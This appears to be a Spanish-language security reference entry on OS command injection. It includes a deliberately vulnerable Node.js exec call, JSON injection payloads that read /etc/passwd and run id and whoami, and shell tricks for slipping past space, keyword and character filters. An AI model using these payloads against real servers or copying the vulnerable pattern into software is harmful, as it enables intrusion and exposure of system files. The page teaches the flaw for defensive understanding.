Command Injection
CríticoOS Command Injection
Definición
Command Injection es una vulnerabilidad que permite a un atacante ejecutar comandos del sistema operativo en el servidor a través de una aplicación vulnerable. Ocurre cuando la aplicación pasa entrada del usuario directamente a funciones de ejecución de comandos del sistema (exec, system, popen, etc.).
Impacto
Ejemplos
Command Injection en funcionalidad de ping
La aplicación concatena la entrada del usuario con un comando del sistema sin sanitización. Usando operadores de shell como ;, |, &&, o sustitución de comandos $(), el atacante puede ejecutar cualquier comando.
# Código vulnerable (Node.js)
const { exec } = require('child_process');
exec('ping -c 4 ' + req.body.host);
# Petición legítima
POST /api/network/ping
{"host": "8.8.8.8"}
# Payloads de inyección
{"host": "8.8.8.8; cat /etc/passwd"}
{"host": "8.8.8.8 | id"}
{"host": "8.8.8.8 && whoami"}
{"host": "$(cat /etc/passwd)"}Bypass de filtros de Command Injection
Cuando la aplicación implementa filtros básicos (como bloquear espacios o palabras clave), existen múltiples técnicas de bypass usando variables de entorno, comillas, wildcards o codificación en Base64.
# Si se filtran espacios:
{cat,/etc/passwd}
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
# Si se filtran palabras clave:
c'a't /etc/passwd
c\at /etc/passwd
/bin/c?t /etc/passwd
# Si se filtran caracteres especiales:
echo${IFS}dGVzdA==|base64${IFS}-d